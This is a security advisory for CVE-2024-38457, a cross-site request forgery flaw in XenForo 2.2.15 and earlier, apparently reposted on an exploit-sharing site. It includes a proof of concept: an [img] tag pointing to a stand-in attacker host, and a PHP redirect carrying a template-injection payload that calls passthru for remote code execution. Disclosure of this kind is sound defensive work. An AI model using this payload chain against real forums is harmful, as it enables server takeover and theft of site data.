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XenForo 2.2.15 Cross Site Request Forgery Vulnerability
Author
Risk
[Security Risk Low
]0day-ID
Category
Date add
CVE
Platform
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XenForo <= 2.2.15 (Widget::actionSave) Cross-Site Request Forgery Vulnerability
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[-] Software Link:
https://xenforo.com
[-] Affected Versions:
Version 2.2.15 and prior versions.
[-] Vulnerability Description:
The XF\Admin\Controller\Widget::actionSave() method, defined into the
/src/XF/Admin/Controller/Widget.php script, does not check whether the
current HTTP request is a POST or a GET before saving a widget.
XenForo does perform anti-CSRF checks for POST requests only, as such
this method can be abused in a Cross-Site Request Forgery (CSRF)
attack to create/modify arbitrary XenForo widgets via GET requests,
and this can also be exploited in tandem with KIS-2024-06 to perform
CSRF-based Remote Code Execution (RCE) attacks.
Furthermore, XenForo implements a BB code system, as such this
vulnerability could also be exploited through "Stored CSRF" attacks by
abusing the [img] BB code tag, creating a thread or a private message
(to be sent to the victim user) like the following:
[img]https://attacker.website/exploit.php[/img]
Where the exploit.php script hosted on the attacker-controlled website
could be something like this:
<?php
$url = "https://victim.website/xenforo/";
header("Location:
{$url}admin.php?widgets/save&definition_id=html&widget_key=RCE&positions[pub_sidebar_top]=1&display_condition=true&options[template]={{\$xf.app.em.getRepository('XF\\Util\\Arr').filterRecursive(['id'],'passthru')}}");
?>
Successful exploitation of this vulnerability requires a victim user
with permissions to administer styles or widgets to be currently
logged into the Admin Control Panel.
[-] Solution:
Update to a fixed version or apply the vendor patches.
[-] Disclosure Timeline:
[22/02/2024] - Vulnerability details sent to SSD Secure Disclosure
[05/06/2024] - Vendor released patches and fixed versions
[14/06/2024] - CVE identifier requested
[16/06/2024] - CVE identifier assigned
[16/07/2024] - Coordinated public disclosure
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org) has
assigned the name CVE-2024-38457 to this vulnerability.
# 0day.today [2024-09-20] #